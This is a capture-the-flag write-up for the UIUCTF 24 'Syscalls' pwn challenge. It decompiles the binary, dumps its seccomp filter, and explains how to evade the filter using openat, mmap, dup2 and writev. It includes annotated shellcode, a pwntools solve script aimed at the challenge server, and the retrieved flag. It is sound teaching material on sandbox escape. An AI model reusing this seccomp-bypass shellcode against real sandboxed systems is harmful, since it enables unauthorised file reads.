> For the complete documentation index, see [llms.txt](https://elijahchia.gitbook.io/ctf-blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://elijahchia.gitbook.io/ctf-blog/uiuctf-24/syscalls-pwn.md).

# Syscalls (pwn)

{% file src="/files/t073YqQTCvdxPdb4ookr" %}

{% file src="/files/KqhLz6edoE0UxBCPzxbM" %}

The pseudocode Ghidra gives us is as follows (with functions renamed):

```c
void main(void)
{
  long in_FS_OFFSET;
  undefined local_c8 [184];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  intro(local_c8);
  set_seccomp();
  execshellcode(local_c8);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
void intro(char *param_1)
{
  puts(
      "The flag is in a file named flag.txt located in the same directory as this binary. That\'s al l the information I can give you."
      );
  fgets(param_1,176,stdin);
  return;
}
int set_seccomp(void)
{
  int iVar1;
  long in_FS_OFFSET;
  undefined2 local_e8 [4];
  undefined8 *local_e0;
  undefined8 local_d8;
  undefined8 local_d0;
  undefined8 local_c8;
  undefined8 local_c0;
  undefined8 local_b8;
  undefined8 local_b0;
  undefined8 local_a8;
  undefined8 local_a0;
  undefined8 local_98;
  undefined8 local_90;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_d8 = 0x400000020;
  local_d0 = 0xc000003e16000015;
  local_c8 = 0x20;
  local_c0 = 0x4000000001000035;
  local_b8 = 0xffffffff13000015;
  local_b0 = 0x120015;
  local_a8 = 0x100110015;
  local_a0 = 0x200100015;
  local_98 = 0x11000f0015;
  local_90 = 0x13000e0015;
  local_88 = 0x28000d0015;
  local_80 = 0x39000c0015;
  local_78 = 0x3b000b0015;
  local_70 = 0x113000a0015;
  local_68 = 0x12700090015;
  local_60 = 0x12800080015;
  local_58 = 0x14200070015;
  local_50 = 0x1405000015;
  local_48 = 0x1400000020;
  local_40 = 0x30025;
  local_38 = 0x3000015;
  local_30 = 0x1000000020;
  local_28 = 0x3e801000025;
  local_20 = 0x7fff000000000006;
  local_18 = 6;
  local_e0 = &local_d8;
  local_e8[0] = 0x19;
                    /* PR_SET_NO_NEW_PRIVS */
  prctl(38,1,0,0,0);
  iVar1 = prctl(22,2,local_e8);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return iVar1;
}
void execshellcode(code *param_1)
{
  (*param_1)();
  return;
}
```

Firstly, `main()` calls the `intro()` function, which obtains input from stdin and puts it into `local_c8`.&#x20;

Then, in `set_seccomp()`, we see a few `prctl` calls. On investigating the [documentation](https://man7.org/linux/man-pages/man2/prctl.2.html), what `prctl` does depends on its first argument.  The first `prctl` call has `38` as its first argument which represents `PR_SET_NO_NEW_PRIVS` (with reference to [prctl.h](https://github.com/torvalds/linux/blob/master/include/uapi/linux/prctl.h)). This means that `execve` promises not to grant privileges to do anything that could not have been done without the `execve` call (with reference to the [manpage for pr\_set\_no\_new\_privs](https://man7.org/linux/man-pages/man2/pr_set_no_new_privs.2const.html)). The second `prctl` call has a first argument of `22`, which is `PR_SET_SECCOMP`.  Referring to [seccomp.h](https://github.com/torvalds/linux/blob/master/include/uapi/linux/seccomp.h), the second argument is `2` which refers to `SECCOMP_MODE_FILTER`. This means that the third argument, which is `local_e8`, is a pointer to the filter to be applied.&#x20;

To check the seccomp rules which have been applied, we can use the [seccomp-tools](https://github.com/david942j/seccomp-tools). On running `seccomp-tools dump ./syscalls`, we can see the following seccomp rules:

```
line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x16 0xc000003e  if (A != ARCH_X86_64) goto 0024
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x13 0xffffffff  if (A != 0xffffffff) goto 0024
 0005: 0x15 0x12 0x00 0x00000000  if (A == read) goto 0024
 0006: 0x15 0x11 0x00 0x00000001  if (A == write) goto 0024
 0007: 0x15 0x10 0x00 0x00000002  if (A == open) goto 0024
 0008: 0x15 0x0f 0x00 0x00000011  if (A == pread64) goto 0024
 0009: 0x15 0x0e 0x00 0x00000013  if (A == readv) goto 0024
 0010: 0x15 0x0d 0x00 0x00000028  if (A == sendfile) goto 0024
 0011: 0x15 0x0c 0x00 0x00000039  if (A == fork) goto 0024
 0012: 0x15 0x0b 0x00 0x0000003b  if (A == execve) goto 0024
 0013: 0x15 0x0a 0x00 0x00000113  if (A == splice) goto 0024
 0014: 0x15 0x09 0x00 0x00000127  if (A == preadv) goto 0024
 0015: 0x15 0x08 0x00 0x00000128  if (A == pwritev) goto 0024
 0016: 0x15 0x07 0x00 0x00000142  if (A == execveat) goto 0024
 0017: 0x15 0x00 0x05 0x00000014  if (A != writev) goto 0023
 0018: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # writev(fd, vec, vlen)
 0019: 0x25 0x03 0x00 0x00000000  if (A > 0x0) goto 0023
 0020: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0024
 0021: 0x20 0x00 0x00 0x00000010  A = fd # writev(fd, vec, vlen)
 0022: 0x25 0x00 0x01 0x000003e8  if (A <= 0x3e8) goto 0024
 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0024: 0x06 0x00 0x00 0x00000000  return KILL
```

The rules prevent us from using most file i/o related syscalls, but allows us to use `writev` as long as either:

1. The first 32 bits of the file descriptor are greater than 0, or
2. The first 32 bits of the file descriptor = 0, and the file descriptor > `0x3e8`.

After the call to `set_seccomp`, the `execshellcode()` function is invoked. It treats our input, which was stored in `local_c8`, as code and runs it.

This challenge requires us to provide shellcode to read `flag.txt`, given the restrictive seccomp rules. Usually, in order to print a file's contents to `stdout`, we would call `open` with the filename to obtain the file handle, call `read` with its handle to read the contents into a buffer, then call `write` to output the buffer content to the `stdout` file descriptor (which is 1). After a bit of research on the remaining [syscall options](https://x64.syscall.sh/), I was able to find alternatives to these syscalls. Instead of using `open`, we can use `openat`. Instead of using `read`, `pread64`, `readv`or `preadv`, we can use `mmap` to map the file handle's contents into memory. To output to `stdout`, we can use `writev`, but we cannot use `2` as the file descriptor. Hence we have to first use `dup2` to duplicate the `stdout` file descriptor to one that seccomp won't kill, then call `writev` on our new file descriptor.&#x20;

Here's the annotated shellcode I used (written in x64 assembly using intel syntax):

```nasm
mov rax, 33 ; prepare for dup2 syscall
mov rsi, 0x3e9 ; new file descriptor that seccomp approves of
mov rdi, 1 ; stdout file descriptor
syscall

mov rax, 257 ; prepare for openat syscall
mov rdi, -100 ; -100 is a special value for dfd, so our pathname is relative to the current working directory
mov r10, 0x7478 ; "tx"
push r10 ; push last 2 bytes of pathname to stack
mov r10, 0x742e67616c662f2e ; t.galf/.
push r10 ; push first 8 bytes of pathname to stack
mov rsi, rsp ; move address of "./flag.txt" string into rsi
mov rdx, 0 ; flags = 0
mov r10, 0 ; mode = 0
syscall

mov r8, rax ; move fd of flag.txt into r8
mov rax, 9 ; prepare for mmap syscall
mov rdi, 0 ; addr = NULL
mov rsi, 100 ; read 100 bytes from flag.txt
mov rdx, 0x1 ; prot = 1 => PROT_READ, so pages can be read
mov r10, 0x2 ; flags = MAP_PRIVATE
mov r9, 0 ; offset = 0
syscall

mov r10, rax ; move buffer address into r10
mov r9, 100 ; length of buffer 
push r9 ; push iov_len attribute of iovec struct onto stack
push r10 ; push *iov_base of iovec struct onto stack
mov rsi, rsp ; rsi: pointer to an iovec struct
mov rax, 20 ; prepare for writev syscall
mov rdi, 0x3e9 ; fd of our copied stdout
mov rdx, 1 ; number of buffers pointed to, we only have 1
syscall

mov rax, 60 ; exit syscall
syscall
```

With this payload, we can construct the payload using pwntools and send it to the server to retrieve the flag. My solve script is as follows:

```python
from pwn import *
# fill in binary name
elf = context.binary = ELF("./syscalls")
# fill in libc name
libc = ELF("./libc.so.6")

if args.REMOTE:
  # fill in remote address
  p = remote("syscalls.chal.uiuc.tf", 1337, ssl=True)
else:
  p = elf.process(env = {"LD_PRELOAD": libc.path})

# create exploit here
# payload must be at most 176 bytes
# int dup2(int oldfd, int newfd);
# int openat(int dirfd, const char *pathname, int flags, mode_t mode);
# void *mmap(void addr[.length], size_t length, int prot, int flags, int fd, off_t offset);
# ssize_t writev(int fd, const struct iovec *iov, int iovcnt);

print("./flag.txt".encode("utf-8").hex()) # 2e2f666c61672e747874

payload = """
mov rax, 33
mov rsi, 0x3e9
mov rdi, 1
syscall

mov rax, 257
mov rdi, -100
mov r10, 0x7478
push r10
mov r10, 0x742e67616c662f2e
push r10
mov rsi, rsp
mov rdx, 0
mov r10, 0
syscall

mov r8, rax
mov rax, 9 
mov rdi, 0 
mov rsi, 100
mov rdx, 0x1 
mov r10, 0x2 
mov r9, 0 
syscall

mov r10, rax
mov r9, 100
push r9
push r10
mov rsi, rsp
mov rax, 20
mov rdi, 0x3e9
mov rdx, 1
syscall

mov rax, 60
syscall
"""

payload = asm(payload)
print(f"payload length: {len(payload)}")

# pause()
p.sendlineafter(b"you.\n", payload)
info(p.recvall()) # uiuctf{a532aaf9aaed1fa5906de364a1162e0833c57a0246ab9ffc}
```
